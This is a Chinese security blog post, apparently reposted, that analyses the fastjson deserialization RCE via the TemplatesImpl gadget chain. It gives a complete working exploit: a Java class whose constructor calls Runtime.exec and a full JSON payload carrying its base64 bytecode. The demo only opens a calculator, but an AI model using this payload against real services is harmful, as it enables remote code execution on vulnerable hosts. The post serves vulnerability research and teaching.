Fastjson反序列化漏洞

JAVASEC 2019年11月20日23:55:40评论789 views字数 8936阅读29分47秒阅读模式
摘要

Author:[email protected]
本文已征求作者同意,未经允许不得转载!

Author:ricterzheng[email protected]
本文已征求作者同意,未经允许不得转载!


0x00
fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial 的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然 dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java 人生地不熟,更别说什么 TemplatesImpl 了。首先看一下 TemplatesImpl 的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。
...
于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。
我好菜啊.jpg

0x01 fastjson 的特性
对于 byte[] 的 base64 decode
对于 byte[] 类型的成员变量,在 deserialze 的时候会调用 lexer.bytesValue

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { JSONLexer lexer = parser.lexer; if(lexer.token() == 8) {     lexer.nextToken(16);     return null; } else if(lexer.token() == 4) {     byte[] bytes = lexer.bytesValue();     lexer.nextToken(16);     return bytes; 

bytesValue 方法为:

public byte[] bytesValue() {     return IOUtils.decodeBase64(this.text, this.np + 1, this.sp); } 

private 成员变量的处理
对于一个 Class:

class ModelTest {     public String field1;     public int field2;     private String field3;     private int field4;      public String getField3() {         return field3;     }      public void setField3(String s) {         field3 = s;     } } 

在默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。

  • field1,public 的成员变量
  • field2同上
  • field3,存在 getField3/setField3 方法

fastjson 判断 field3 的条件如下:

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass())) 

并且:

methodName.startsWith("set") 

对于 field4,在设置了 SupportNonPublicField 后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn

对于有 getter 没有 setter 的变量,fastjson 会在 JavaBeanInfo.class 的第 459 行处理(版本不同可能有偏差):

methodName.length() >= 4 &&  !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") &&  Character.isUpperCase(methodName.charAt(3)) &&  method.getParameterTypes().length == 0 && ( Collection.class.isAssignableFrom(method.getReturnType()) ||  Map.class.isAssignableFrom(method.getReturnType()) ||  AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() ) 

关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType()) 才可以进入 if 语句
关键点来了:在 TemplatesImpl.java 中,getOutputProperties 方法返回类型是 Properties,而 Properties extends Hashtable<>Hashtableimplements Map,所以可以通过这个判断。

0x02 漏洞触发原理
_outputProperties 触发 getOutputProperties 方法调用

我一直很疑惑,为什么 _outputProperties 会使得 getOutputProperties 被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch 方法:

public FieldDeserializer smartMatch(String key) {     if(key == null) {         return null;     } else {         FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key);         boolean snakeOrkebab;         int i;         int var6;         if(fieldDeserializer == null) {             snakeOrkebab = key.startsWith("is");             FieldDeserializer[] var4 = this.sortedFieldDeserializers;             i = var4.length;             ...         }         if(fieldDeserializer == null) {             snakeOrkebab = false;             String key2 = null;              for(i = 0; i < key.length(); ++i) {                 char ch = key.charAt(i);                 if(ch == 95) {                     snakeOrkebab = true;                     // 这里把下划线替换掉了,所以可以匹配                     key2 = key.replaceAll("_", "");                     break;                 }                  if(ch == 45) {                     snakeOrkebab = true;                     key2 = key.replaceAll("-", "");                     break;                 }             } 

匹配完成后,返回了一个 FieldDeserializer 对象,接着下面的代码调用此处:

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues); 

parseField 调用了 setValue

public void setValue(Object object, Object value) {     if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) {         try {             Method method = this.fieldInfo.method;             if(method != null) {                 if(this.fieldInfo.getOnly) {                     if(this.fieldInfo.fieldClass == AtomicInteger.class)                      {                         ..                     } else if(Map.class.isAssignableFrom(method.getReturnType())) {                         Map map = (Map)method.invoke(object, new Object[0]); 

这里 method 就是 getOutputProperties 方法了。
通过 getOutputProperties 方法,我们可以构造一个 exploit 类来进行攻击。
调用链

TemplatesImpl.javagetOutputProperties 函数为:

public synchronized Properties getOutputProperties() {     try {         // 调用 newTransformer         return newTransformer().getOutputProperties(); 

接着 newTransformer 函数调用了 getTransletInstance

public synchronized Transformer newTransformer()     throws TransformerConfigurationException {     TransformerImpl transformer;     // 调用 getTransletInstance     transformer = new TransformerImpl(getTransletInstance(), _outputProperties, 

getTransletInstance 调用:

private Translet getTransletInstance()     throws TransformerConfigurationException {     try {         if (_name == null) return null;          if (_class == null) defineTransletClasses();          // The translet needs to keep a reference to all its auxiliary         // class to prevent the GC from collecting them         // 这里实例化了 _class[_transletIndex]         AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 

所以编写一个继承自 AbstractTranslet 类的类后,在构造器执行代码即可。

0x03 从 0 开始的构造 exploit
TemplatesImpl.java 构造 gadgets

TemplatesImpl.javadefineTransletClasses 中,通过 for 循环取出 _bytecodes 中的值,接着调用 loader.defineClass 来定义类。

private void defineTransletClasses()     throws TransformerConfigurationException {     ...     try {         final int classCount = _bytecodes.length;         _class = new Class[classCount];          if (classCount > 1) {             _auxClasses = new HashMap<>();         }          for (int i = 0; i < classCount; i++) {             _class[i] = loader.defineClass(_bytecodes[i]); 

接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,如果是,把 i 赋给 _transletIndex

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {     _transletIndex = i; } else {      _auxClasses.put(_class[i].getName(), _class[i]); } 

接着通过上述的调用链:

getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance() 

来实例化 exploit 类。

构造 exploit

根据以上内容,我们需要构造的 exploit 应满足如下条件:

合法的 TemplatesImpl
合法的 _bytecodes,可以正确解析成类
类需要继承自 AbstractTranslet,构造器中存放执行命令的内容
首先利用 @type 声明一个 TemplatesImpl

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"} 

同时根据源代码,我们还要构造一个 _tfactory 加到上面的 JSON 里:

"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"} 

为了触发漏洞点,我们还需要设置 _outputProperties。

"_outputProperties": {"@type": "java.util.Properties"} 

接着构造 _bytecodes。由于我们知道 fastjson 会帮助我们解码 base64,所以构造好直接 base64 编码然后填入 _bytecodes 即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  import java.io.IOException;  public class Exp extends AbstractTranslet {      public Exp() {         try {             Runtime.getRuntime().exec("open /Applications/Calculator.app");         } catch (IOException e) {}     }      @Override     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}      @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}  } 

最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes):

{   "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",   "_bytecodes": [     "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA="   ],   "_name": "a",   "_tfactory": {     "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"   },   "_outputProperties": {     "@type": "java.util.Properties"   } } 

效果:
Fastjson反序列化漏洞

0x04 总结
说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 

但是大多数人都是直接 JSON.parse 一把梭,设置 Feature.SupportNonPublicField 的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢 @廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在 TODO 里吧(。
另外,总感觉利用 TemplatesImpl 这个真的是很多巧合的结合才会成功。
首先是 fastjson 的限制,然而 getOutputProperties 的返回值类型是 Properties。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的 smartMatch,我们才会通过 _outputProperties 去触发 getOutputProperties

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
JAVASEC
  • 本文由 发表于 2019年11月20日23:55:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson反序列化漏洞http://cn-sec.com/archives/70645.html

发表评论

匿名网友 填写信息